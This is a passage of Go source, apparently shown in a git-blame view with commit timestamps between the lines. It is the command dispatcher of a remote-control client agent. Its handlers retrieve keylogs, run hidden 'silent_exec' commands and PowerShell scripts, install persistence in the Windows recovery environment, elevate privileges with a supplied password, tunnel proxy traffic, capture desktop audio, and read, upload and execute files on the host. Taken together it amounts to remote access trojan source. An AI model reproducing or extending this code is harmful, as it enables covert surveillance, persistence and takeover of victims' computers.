case "voice_session_stop" :
stopVoiceSession ()
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
case "voice_downlink" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "missing payload" })
}
data , _ := payload [ "data" ].([] byte )
if err := writeVoiceDownlink ( data ); err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
case "voice_capabilities" :
caps := audio . ProbeCapabilities ()
payload , _ := json . Marshal ( caps )
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : caps . Available , Message : string ( payload )})
2026-06-27 16:40:54 -05:00
case "client_logs_request" :
payload := payloadAsMap ( envelope [ "payload" ])
sinceSeq := uint64 ( payloadNumberToInt64 ( payload [ "sinceSeq" ]))
limit := int ( payloadNumberToInt64 ( payload [ "limit" ]))
snap := securelog . SnapshotLogs ( sinceSeq , limit )
entries := make ([] wire . ClientLogEntry , 0 , len ( snap . Entries ))
for _ , entry := range snap . Entries {
entries = append ( entries , wire . ClientLogEntry {
Seq : entry . Seq ,
At : entry . At ,
Source : entry . Source ,
Blob : entry . Blob ,
})
}
return wire . WriteMsg ( ctx , env . Conn , wire . ClientLogsResult {
Type : "client_logs_result" ,
CommandID : cmdID ,
OK : snap . Enabled && snap . Error == "" ,
Entries : entries ,
Dropped : snap . Dropped ,
FromSeq : snap . FromSeq ,
ToSeq : snap . ToSeq ,
Enabled : snap . Enabled ,
Error : snap . Error ,
})
2026-04-16 17:19:56 -05:00
case "desktop_audio_start" :
sessionID , _ := envelopePayloadString ( envelope , "sessionId" )
source := "system"
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload != nil {
if v , ok := payload [ "source" ].( string ); ok && strings . TrimSpace ( v ) != "" {
source = strings . TrimSpace ( v )
}
}
if err := startDesktopAudioSession ( ctx , env , sessionID , source ); err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
case "desktop_audio_stop" :
stopDesktopAudioSession ()
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-03-05 00:04:26 -06:00
}
switch action {
case "file_list" :
path , _ := envelopePayloadString ( envelope , "path" )
return HandleFileList ( ctx , env , cmdID , path )
2026-05-29 15:41:08 -05:00
case "file_request_access" :
path , _ := envelopePayloadString ( envelope , "path" )
return HandleFileRequestAccess ( ctx , env , cmdID , path )
2026-03-05 00:04:26 -06:00
case "file_download" :
path , _ := envelopePayloadString ( envelope , "path" )
return HandleFileDownload ( ctx , env , cmdID , path )
case "file_upload" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
offset := payloadNumberToInt64 ( payload [ "offset" ])
total := payloadNumberToInt64 ( payload [ "total" ])
transferID , _ := payload [ "transferId" ].( string )
data := [] byte {}
if d , ok := payload [ "data" ].([] byte ); ok {
data = d
}
return HandleFileUpload ( ctx , env , cmdID , path , data , offset , total , transferID )
2026-03-08 00:53:22 -06:00
case "file_upload_http" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
sourceURL , _ := payload [ "url" ].( string )
total := payloadNumberToInt64 ( payload [ "total" ])
return HandleFileUploadHTTP ( ctx , env , cmdID , path , sourceURL , total )
2026-03-05 00:04:26 -06:00
case "file_delete" :
path , _ := envelopePayloadString ( envelope , "path" )
return HandleFileDelete ( ctx , env , cmdID , path )
case "file_mkdir" :
path , _ := envelopePayloadString ( envelope , "path" )
return HandleFileMkdir ( ctx , env , cmdID , path )
case "file_zip" :
path , _ := envelopePayloadString ( envelope , "path" )
zipCtx , cancel := context . WithCancel ( ctx )
registerCancellableCommand ( cmdID , cancel )
goSafe ( "file_zip" , env . Cancel , func () {
defer unregisterCommand ( cmdID )
if err := HandleFileZip ( zipCtx , env , cmdID , path ); err != nil && err != context . Canceled {
log . Printf ( "file_zip error: %v" , err )
}
})
return nil
case "file_read" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
maxSize := int64 ( 0 )
if ms , ok := payload [ "maxSize" ].( float64 ); ok {
maxSize = int64 ( ms )
}
return HandleFileRead ( ctx , env , cmdID , path , maxSize )
case "file_write" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
content , _ := payload [ "content" ].( string )
return HandleFileWrite ( ctx , env , cmdID , path , content )
case "file_search" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
searchID , _ := payload [ "searchId" ].( string )
basePath , _ := payload [ "path" ].( string )
pattern , _ := payload [ "pattern" ].( string )
searchContent := false
if sc , ok := payload [ "searchContent" ].( bool ); ok {
searchContent = sc
}
maxResults := 0
if mr , ok := payload [ "maxResults" ].( float64 ); ok {
maxResults = int ( mr )
}
return HandleFileSearch ( ctx , env , cmdID , searchID , basePath , pattern , searchContent , maxResults )
case "file_copy" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
source , _ := payload [ "source" ].( string )
dest , _ := payload [ "dest" ].( string )
return HandleFileCopy ( ctx , env , cmdID , source , dest )
case "file_move" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
source , _ := payload [ "source" ].( string )
dest , _ := payload [ "dest" ].( string )
return HandleFileMove ( ctx , env , cmdID , source , dest )
case "file_chmod" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
mode , _ := payload [ "mode" ].( string )
return HandleFileChmod ( ctx , env , cmdID , path , mode )
case "file_execute" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
return HandleFileExecute ( ctx , env , cmdID , path )
2026-05-17 00:51:17 -05:00
case "file_icon" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
items := parseIconRequestItems ( payload [ "items" ])
goSafe ( "file_icon" , env . Cancel , func () {
if err := HandleFileIcon ( ctx , env , cmdID , items ); err != nil && err != context . Canceled {
log . Printf ( "file_icon error: %v" , err )
}
})
return nil
case "file_thumb" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
items := parseThumbRequestItems ( payload [ "items" ])
goSafe ( "file_thumb" , env . Cancel , func () {
if err := HandleFileThumbnail ( ctx , env , cmdID , items ); err != nil && err != context . Canceled {
log . Printf ( "file_thumb error: %v" , err )
}
})
return nil
case "file_dirsize" :
path , _ := envelopePayloadString ( envelope , "path" )
dirsizeCtx , cancel := context . WithCancel ( ctx )
registerCancellableCommand ( cmdID , cancel )
goSafe ( "file_dirsize" , env . Cancel , func () {
defer unregisterCommand ( cmdID )
if err := HandleFolderSize ( dirsizeCtx , env , cmdID , path ); err != nil && err != context . Canceled {
log . Printf ( "file_dirsize error: %v" , err )
}
})
return nil
2026-05-21 09:51:12 -05:00
case "file_peek" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
bytesToRead := 0
if v , ok := payloadInt ( payload , "bytes" ); ok {
bytesToRead = v
}
goSafe ( "file_peek" , env . Cancel , func () {
if err := HandleFilePeek ( ctx , env , cmdID , path , bytesToRead ); err != nil && err != context . Canceled {
log . Printf ( "file_peek error: %v" , err )
}
})
return nil
case "file_hash" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
algorithm , _ := payload [ "algorithm" ].( string )
goSafe ( "file_hash" , env . Cancel , func () {
if err := HandleFileHash ( ctx , env , cmdID , path , algorithm ); err != nil && err != context . Canceled {
log . Printf ( "file_hash error: %v" , err )
}
})
return nil
2026-03-09 13:52:42 -05:00
case "agent_update" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
path , _ := payload [ "path" ].( string )
2026-03-13 12:51:48 -05:00
hash , _ := payload [ "hash" ].( string )
2026-03-29 13:39:51 -05:00
hideWindow , _ := payload [ "hideWindow" ].( bool )
return HandleAgentUpdate ( ctx , env , cmdID , path , hash , hideWindow )
2026-03-05 00:04:26 -06:00
case "process_list" :
return HandleProcessList ( ctx , env , cmdID )
2026-05-21 09:51:12 -05:00
case "process_icon" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
items := parseIconRequestItems ( payload [ "items" ])
goSafe ( "process_icon" , env . Cancel , func () {
if err := HandleProcessIcon ( ctx , env , cmdID , items ); err != nil && err != context . Canceled {
log . Printf ( "process_icon error: %v" , err )
}
})
return nil
2026-03-05 00:04:26 -06:00
case "process_kill" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
if rawPayload , ok := envelope [ "payload" ].( map [ interface {}] interface {}); ok {
payload = make ( map [ string ] interface {}, len ( rawPayload ))
for k , v := range rawPayload {
ks , ok := k .( string )
if ! ok {
continue
}
payload [ ks ] = v
}
}
}
pid := int32 ( 0 )
if p , ok := payload [ "pid" ].( float64 ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( string ); ok {
if parsed , err := strconv . Atoi ( p ); err == nil {
pid = int32 ( parsed )
}
}
if p , ok := payload [ "pid" ].( uint16 ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( uint8 ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( uint64 ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( uint32 ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( uint ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( int32 ); ok {
pid = p
}
if p , ok := payload [ "pid" ].( int64 ); ok {
pid = int32 ( p )
}
if p , ok := payload [ "pid" ].( int ); ok {
pid = int32 ( p )
}
return HandleProcessKill ( ctx , env , cmdID , pid )
2026-05-17 02:35:48 -05:00
case "process_suspend" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
if rawPayload , ok := envelope [ "payload" ].( map [ interface {}] interface {}); ok {
payload = make ( map [ string ] interface {}, len ( rawPayload ))
for k , v := range rawPayload {
ks , ok := k .( string )
if ! ok {
continue
}
payload [ ks ] = v
}
}
}
suspendPid := int32 ( 0 )
if p , ok := payload [ "pid" ].( float64 ); ok {
suspendPid = int32 ( p )
}
if p , ok := payload [ "pid" ].( uint64 ); ok {
suspendPid = int32 ( p )
}
if p , ok := payload [ "pid" ].( int64 ); ok {
suspendPid = int32 ( p )
}
if p , ok := payload [ "pid" ].( int ); ok {
suspendPid = int32 ( p )
}
return HandleProcessSuspend ( ctx , env , cmdID , suspendPid )
case "process_resume" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
if rawPayload , ok := envelope [ "payload" ].( map [ interface {}] interface {}); ok {
payload = make ( map [ string ] interface {}, len ( rawPayload ))
for k , v := range rawPayload {
ks , ok := k .( string )
if ! ok {
continue
}
payload [ ks ] = v
}
}
}
resumePid := int32 ( 0 )
if p , ok := payload [ "pid" ].( float64 ); ok {
resumePid = int32 ( p )
}
if p , ok := payload [ "pid" ].( uint64 ); ok {
resumePid = int32 ( p )
}
if p , ok := payload [ "pid" ].( int64 ); ok {
resumePid = int32 ( p )
}
if p , ok := payload [ "pid" ].( int ); ok {
resumePid = int32 ( p )
}
return HandleProcessResume ( ctx , env , cmdID , resumePid )
2026-06-03 21:04:14 -05:00
case "keylog_request_permission" :
return HandleKeylogRequestPermission ( ctx , env , cmdID )
2026-06-04 20:41:10 -05:00
case "darwin_request_permissions" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
var requested [] string
2026-06-04 20:54:33 -05:00
refreshOnly , _ := payload [ "refreshOnly" ].( bool )
2026-06-04 20:41:10 -05:00
if raw , ok := payload [ "permissions" ].([] interface {}); ok {
for _ , item := range raw {
if key , ok := item .( string ); ok && key != "" {
requested = append ( requested , key )
}
}
}
2026-06-04 20:54:33 -05:00
perms := sysinfo . DarwinPermissionsRefresh ()
if ! refreshOnly {
perms = sysinfo . RequestDarwinPermissions ( requested )
}
2026-06-04 20:41:10 -05:00
missing := make ([] string , 0 )
2026-06-04 20:54:33 -05:00
keys := [] string { "accessibility" , "screenRecording" , "fullDiskAccess" }
if ! refreshOnly {
keys = append ( keys , "inputMonitoring" )
}
for _ , key := range keys {
2026-06-04 20:41:10 -05:00
if perms == nil || ! perms [ key ] {
missing = append ( missing , key )
}
}
detail , _ := json . Marshal ( map [ string ] interface {}{
"permissions" : perms ,
"missing" : missing ,
})
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult {
Type : "command_result" ,
CommandID : cmdID ,
OK : len ( missing ) == 0 ,
Message : string ( detail ),
})
2026-03-05 00:04:26 -06:00
case "keylog_list" :
return HandleKeylogList ( ctx , env , cmdID )
case "keylog_retrieve" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
filename , _ := payload [ "filename" ].( string )
return HandleKeylogRetrieve ( ctx , env , cmdID , filename )
case "keylog_clear_all" :
return HandleKeylogClearAll ( ctx , env , cmdID )
case "keylog_delete" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
filename , _ := payload [ "filename" ].( string )
return HandleKeylogDelete ( ctx , env , cmdID , filename )
case "script_exec" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
scriptContent , _ := payload [ "script" ].( string )
scriptType , _ := payload [ "type" ].( string )
if scriptType == "" {
scriptType = "powershell"
}
2026-06-04 19:55:32 -05:00
StartScriptExecute ( ctx , env , cmdID , scriptContent , scriptType )
return nil
2026-03-05 00:04:26 -06:00
case "silent_exec" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
if rawPayload , ok := envelope [ "payload" ].( map [ interface {}] interface {}); ok {
payload = make ( map [ string ] interface {}, len ( rawPayload ))
for k , v := range rawPayload {
ks , ok := k .( string )
if ! ok {
continue
}
payload [ ks ] = v
}
}
}
command , _ := payload [ "command" ].( string )
command = strings . TrimSpace ( command )
if len ( command ) >= 2 {
if ( command [ 0 ] == '"' && command [ len ( command ) - 1 ] == '"' ) || ( command [ 0 ] == '\'' && command [ len ( command ) - 1 ] == '\'' ) {
command = command [ 1 : len ( command ) - 1 ]
}
}
argsRaw , _ := payload [ "args" ].( string )
hideWindow := true
if v , ok := payload [ "hideWindow" ].( bool ); ok {
hideWindow = v
}
cwd , _ := payload [ "cwd" ].( string )
if command == "" {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "missing command" })
}
args := parseCommandArgs ( argsRaw )
if err := startSilentProcess ( command , args , cwd , hideWindow ); err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-03-29 00:46:18 -05:00
case "winre_install" :
payload := payloadAsMap ( envelope [ "payload" ])
useSelf := false
if v , ok := payload [ "useSelf" ].( bool ); ok {
useSelf = v
}
filePath , _ := payload [ "filePath" ].( string )
if err := handleWinREInstall ( ctx , env , cmdID , filePath , useSelf ); err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-06-06 23:34:44 -05:00
case "winre_probe" :
if ! WinRESupported () {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "WinRE persistence is not enabled on this client" })
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-03-29 00:46:18 -05:00
case "winre_uninstall" :
if err := handleWinREUninstall ( ctx , env , cmdID ); err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-03-05 00:04:26 -06:00
case "uninstall" :
res := wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true }
_ = wire . WriteMsg ( ctx , env . Conn , res )
if err := removePersistence (); err != nil {
log . Printf ( "uninstall: failed to remove persistence: %v" , err )
}
2026-04-03 10:47:05 -05:00
criticalproc . Teardown ()
2026-03-05 00:04:26 -06:00
os . Exit ( 0 )
case "disconnect" :
res := wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true }
_ = wire . WriteMsg ( ctx , env . Conn , res )
resetForReconnect ( env )
2026-04-03 10:47:05 -05:00
criticalproc . Teardown ()
2026-03-19 02:01:21 -05:00
os . Exit ( 0 )
return nil
2026-03-05 00:04:26 -06:00
case "reconnect" :
resetForReconnect ( env )
res := wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true }
_ = wire . WriteMsg ( ctx , env . Conn , res )
return ErrReconnect
2026-04-13 10:49:36 -05:00
case "elevate" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
password , _ := payload [ "password" ].( string )
return HandleElevate ( ctx , env , cmdID , password )
2026-03-15 16:14:50 -05:00
case "proxy_connect" :
2026-03-05 00:04:26 -06:00
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
2026-03-15 16:14:50 -05:00
return HandleProxyConnect ( ctx , env , cmdID , payload )
case "proxy_data" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
return HandleProxyData ( ctx , env , cmdID , payload )
case "proxy_close" :
return HandleProxyClose ( ctx , env , cmdID )
2026-03-05 00:04:26 -06:00
default :
log . Printf ( "command: unknown action=%s" , action )
res := wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "unknown command" }
return wire . WriteMsg ( ctx , env . Conn , res )
}
return nil
}
func envelopePayloadString ( envelope map [ string ] interface {}, key string ) ( string , bool ) {
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
return "" , false
}
val , _ := payload [ key ].( string )
return val , val != ""
}
func envelopePayloadInts ( envelope map [ string ] interface {}) ( int , int ) {
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
return 0 , 0
}
cols , _ := payload [ "cols" ].( int )
rows , _ := payload [ "rows" ].( int )
if cols == 0 {
if f , ok := payload [ "cols" ].( float64 ); ok {
cols = int ( f )
}
if i , ok := payload [ "cols" ].( int64 ); ok {
cols = int ( i )
}
}
if rows == 0 {
if f , ok := payload [ "rows" ].( float64 ); ok {
rows = int ( f )
}
if i , ok := payload [ "rows" ].( int64 ); ok {
rows = int ( i )
}
}
if cols == 0 {
cols = 120
}
if rows == 0 {
rows = 36
}
return cols , rows
}
func toInt ( v interface {}) int {
if v == nil {
return 0
}
if i , ok := v .( int ); ok {
return i
}
if i , ok := v .( int8 ); ok {
return int ( i )
}
if i , ok := v .( int16 ); ok {
return int ( i )
}
if i , ok := v .( int32 ); ok {
return int ( i )
}
if i , ok := v .( int64 ); ok {
return int ( i )
}
if i , ok := v .( uint8 ); ok {
return int ( i )
}
if i , ok := v .( uint16 ); ok {
return int ( i )
}
if i , ok := v .( uint32 ); ok {
return int ( i )
}
if i , ok := v .( uint64 ); ok {
return int ( i )
}
if f , ok := v .( float64 ); ok {
return int ( f )
}
return 0
}